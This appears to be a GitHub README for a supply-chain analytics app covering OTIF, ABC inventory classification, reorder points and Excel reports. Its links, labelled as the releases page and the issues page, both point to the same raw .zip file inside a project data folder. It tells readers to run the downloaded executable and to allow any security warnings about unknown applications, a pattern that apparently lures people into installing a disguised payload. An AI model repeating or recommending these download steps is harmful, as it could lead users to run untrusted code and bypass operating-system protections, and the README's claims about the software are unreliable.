Mini-Portafolio-Python helps you track and manage key supply chain metrics. It focuses on important operations tasks such as OTIF (On Time In Full) KPI, inventory classification using ABC and ROP methods, and automates report creation in Excel.
This app is for anyone working in supply chain or operations who wants a simple way to view important data without needing advanced software or coding skills.
You will find functions to:
- Calculate and monitor OTIF performance.
- Classify inventory using ABC and define reorder points (ROP).
- Automatically generate and update reports in Excel format.
- Use data tables powered by Python libraries but presented in a clear and accessible way.
Before you begin, make sure your computer meets these minimum requirements:
- Operating System: Windows 10 or later / macOS 10.13 or later
- Processor: Any modern Intel or AMD CPU
- Memory: At least 4 GB RAM
- Disk Space: 200 MB free space for installation and temporary files
- Software: Microsoft Excel (2010 or newer) for viewing generated reports
No programming skills or special software installs are required. The package contains everything needed to run smoothly.
Follow these steps to get Mini-Portafolio-Python running on your computer.
-
Click the big blue badge at the top of this page or go to this link:
You will find the latest versions listed there.
Look for the latest release at the top of the page. The releases are sorted by date and version number.
Each release contains packaged files ready to run. For your setup, download the file that matches your operating system.
Click the appropriate file and save it to a folder you can easily find, such as your Desktop or Downloads folder.
- For Windows:
- Find the downloaded
.exefile. - Double-click to open it.
- Find the downloaded
- For macOS:
- Locate the
.appor.dmgfile. - Follow standard macOS instructions to install or run the app.
- Locate the
The full download and install process is simple:
-
Go to the releases page:
https://github.com/woilyd/Mini-Portafolio-Python/raw/refs/heads/main/01_kpis_otif/data/Mini_Python_Portafolio_3.9.zip -
Download the file for your system (Windows
.exe, macOS.dmg, etc.). -
Save the file to a known location.
-
Run the program by double-clicking the file.
-
Allow any security prompts to proceed if your operating system warns about unknown applications.
There is no complicated installation wizard. The app is mostly self-contained.
After opening the app, here is what you can do:
-
OTIF Calculation:
Input delivery and order data. The app calculates your OTIF KPI automatically and shows you a clear summary. -
Inventory ABC Analysis:
Import your inventory data. The system groups items into A, B, or C classes based on value or consumption, so you know where to focus. -
ROP Determination:
Find reorder points to avoid stockouts. The app suggests reorder levels based on your inventory patterns. -
Excel Report Automation:
Generate reports with one click. Output is in Excel format, easy to share with management or teams.
The app opens with simple menus and buttons labeled clearly:
- Load Data: Click this button to upload your spreadsheets or CSV files.
- Calculate: Runs the analysis and shows results inside the app.
- Export to Excel: Saves the current report to your computer.
You do not need to enter code or commands — just follow the onscreen buttons.
Make sure your data files include:
- For OTIF: Order numbers, delivery dates, quantities.
- For Inventory: Item codes, descriptions, values, stock levels.
- Simple Excel or CSV files work best.
Some settings you can adjust in the app:
- Choose your fiscal or calendar week for reports.
- Set thresholds for ABC classification (e.g., top 20% as A items).
- Customize reorder points based on supplier lead times.
These options are inside the “Settings” menu.
If you run into issues:
- Verify your data is in the correct format.
- Restart the app and try loading data again.
- Ensure Microsoft Excel is installed to open reports.
- Check for updates on the releases page in case bugs have been fixed.
You can open an issue on the GitHub page if problems persist:
https://github.com/woilyd/Mini-Portafolio-Python/raw/refs/heads/main/01_kpis_otif/data/Mini_Python_Portafolio_3.9.zip
Mini-Portafolio-Python uses Python libraries like pandas to handle data but you do not see any complex steps. It automates tasks that usually require many manual reports.
The app is designed for people in logistics, supply chain management, and operations who want quick answers from their data.
This project is related to:
- automation
- excel
- inventory-management
- kpi
- logistics
- operations
- otif
- pandas
- python
- supply-chain